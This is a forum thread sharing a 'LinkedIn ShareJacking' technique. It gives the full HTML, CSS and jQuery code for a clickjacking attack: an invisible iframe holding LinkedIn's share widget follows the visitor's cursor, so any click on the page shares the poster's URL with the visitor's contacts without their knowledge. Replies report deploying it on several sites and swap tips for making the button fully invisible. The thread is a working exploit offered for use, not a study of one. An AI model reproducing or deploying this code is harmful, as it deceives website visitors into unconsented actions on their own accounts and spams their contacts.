[GET] LinkedIn ShareJacking - This Exploit Makes Users Share YOUR URL with THEIR Contacts!
- Thread starter crazyflx
- Start date
detective0208
Newbie
- May 4, 2013
- 40
- 4
Where I should put the code in my WP blog ?
Thank you for your sharing !
Thank you for your sharing !
crazyflx
Elite Member
- Nov 9, 2009
- 1,623
- 4,870
This goes between the pages <head> tags:
Code:
<!-- this is the styling for the "sharejack" button. Set "opacity=50" to "opacity=0" and "opacity:0.5" to "opacity:0.0" to make the button invisible --><style type="text/css">
#sharejack {opacity:0.5;filter:alpha(opacity=50); width: 30px; height: 90px; overflow:hidden; position: absolute; left: 0; top: 0;}
</style>
<!-- this is a jquery library. You need it so the "share" button "follows the mouse around the page" -->
<script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></script>And this goes between the <body> tags, either before or after all of your pages content:
Code:
<!-- We'll be using a hidden textbox to detect a click onto the iframed like button by using an "onblur" function. On pageload, we set focus to the textbox we're hiding here, then when focus is taken away from the textbox, which happens when they click,
the "onblur" action is tripped which hides the sharejack button 200 milliseconds later then we know the iframed like button has been clicked on. -->
<div style="overflow:hidden; position:relative;">
<div style="height:80px; width:300px; overflow:scroll; position:absolute; right:-1000px; ">
<input type="text" id="textbox" onblur="setTimeout(function() { clicked(); }, 200);">
</div>
</div>
<div id="sharejack" style="display:block;">
<!-- Paste the code you were provided when using cake cake slice below this line, and above the "above this line" sentence below, replacing what is here with your code from cakeslice -->
<div style="overflow: hidden; width: 52px; height: 17px; position: relative;" id="i_div">
<iframe name="i_frame" src="http://www.linkedin.com/cws/share?url=http%3A%2F%2Fcrazyflx.com&original_referer=http%3A%2F%2Fdeveloper.linkedin.com%2Fsites%2Fall%2Fthemes%2Fdlc%2Fsandbox.php%3F&token=&isFramed=true&lang=en_US&_ts=1364627983895.2598" style="border: 0pt none ; left: -451px; top: -260px; position: absolute; width: 1600px; height: 799px;" scrolling="no">
</iframe>
</div>
<!-- ABOVE THIS LINE -->
</div>
<script type="text/javascript">
//function to show/hide something
function setVisibility(id, visibility) {
document.getElementById(id).style.display = visibility;
}
//they have clicked on the page, hide the button. This function is called when focus is taken away from the textbox we created earlier
function clicked() {
setVisibility('sharejack', 'none');
}
document.getElementById("textbox").focus();
//move the sharebox to match where their mouse is
$(document).ready(function(){
$(document).mousemove(function(e){
x=e.pageX ; y=e.pageY;
$("#sharejack").css({top: (y - 4) + "px", left: (x - 4) + "px"});
});
});
</script>
vasilicaciortan
Power Member
- Mar 17, 2010
- 759
- 438
I am implementing this right now and will see how it goes.
I already have a few ideas of how to use this exploit.
I already have a few ideas of how to use this exploit.
crazyflx
Elite Member
- Nov 9, 2009
- 1,623
- 4,870
No problem
How'd you make out?Thanks bud, I appreciate it.
How did you make out?
TheRealRazzy
Supreme Member
- Mar 2, 2011
- 1,485
- 1,784
Oh man!
I'm pretty sure I'll incorporate this into a lot of my sites
Thanks a ton crazyflx
Thanks and +17rep for you
I'm pretty sure I'll incorporate this into a lot of my sites
Thanks a ton crazyflx
Thanks and +17rep for you
Last edited:
Ok worked like a charm. Just my opinions, #sharejack css, you can specify smaller width and height so it wouldn't be obvious. On my part, for the first time i could see the share button as it is not fully invisible. Not sure if i had done it right but at least its worked.
crazyflx
Elite Member
- Nov 9, 2009
- 1,623
- 4,870
Oh man!
I'm pretty sure I'll incorporate this into a lot of my sites
Thanks a ton crazyflx
Thanks and +17rep for you
Thanks
Glad to see some members making some use of this It can easily be made 100% invisible, without making it any smaller.
From the OP:
Code:
[COLOR=#FFFFCC]<!-- this is the styling for the "sharejack" button. Set "opacity=50" to "opacity=0" and "opacity:0.5" to "opacity:0.0" to make the button invisible -->[/COLOR]
crazyflx
Elite Member
- Nov 9, 2009
- 1,623
- 4,870
Fixed the demo, but for the record if you were a person who had followed the instructions in the OP to do this on your own site, you wouldn't have experienced any issues and would have seen it working right out of the gate.